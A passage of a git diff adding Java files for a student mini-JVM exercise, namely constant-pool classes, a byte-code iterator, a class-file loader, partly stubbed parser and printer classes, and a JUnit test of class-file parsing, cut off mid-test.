+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..036e6d9055
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5cbbba6033
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..41e0fd7e7a
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..6bfcb47273
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7db88a939e
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..c6eb0196f8
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..6fb5570dff
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a29d9572cd
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..b86c57ef90
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14407bacbe
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..5657310e0d
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,354 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
